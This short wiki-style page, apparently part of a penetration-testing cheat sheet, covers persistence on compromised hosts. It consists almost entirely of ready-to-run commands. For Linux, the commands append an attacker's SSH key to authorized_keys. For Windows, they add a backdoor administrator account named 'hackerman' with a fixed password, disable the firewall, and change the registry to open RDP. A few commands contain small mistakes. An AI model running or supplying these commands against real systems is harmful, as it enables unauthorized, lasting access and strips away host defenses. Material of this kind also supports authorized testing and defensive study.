5. Persistence

Linux - SSH

On your host

```
cat ~/.ssh/id_rsa.pub # if you don't have one create run: ssh-key -t rsa
# copy the content of the file into **authorized_keys** on the target host
```

On the target host

```
cd ~/.ssh/
ssh-keygen -t rsa # press enter twice
cat id_rsa.pub > authorized_keys
echo 'YOUR_PUB_KEY' >> authorized_keys
```

Windows

Create admin user

```
cmd.exe /c net user hackerman Password123! /add && net localgroup "administrators" /add
hackerman && net localgroup "remote desktop users" /add hackerman
```

or

```
net user hackerman Password123! /add && net localgroup "administrators" /add hackerman && net
localgroup "remote desktop users" /add hackerman
```

Enable RDP

```
cmd.exe /c netsh firewall set opmode disable && reg add
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f && reg add
"HKLM\\System\\CurrentControlSet\\Control\\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
```

or

```
netsh firewall set opmode disable
reg add "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\\System\\CurrentControlSet\\Control\\Lsa" /v DisableRestrictedAdmin /t REG_DWORD
/d 0 /f
```

Revision #1
Created 2026-01-08 18:52:45 UTC by Vlad Birgauanu
Updated 2026-01-08 18:54:40 UTC by Vlad Birgauanu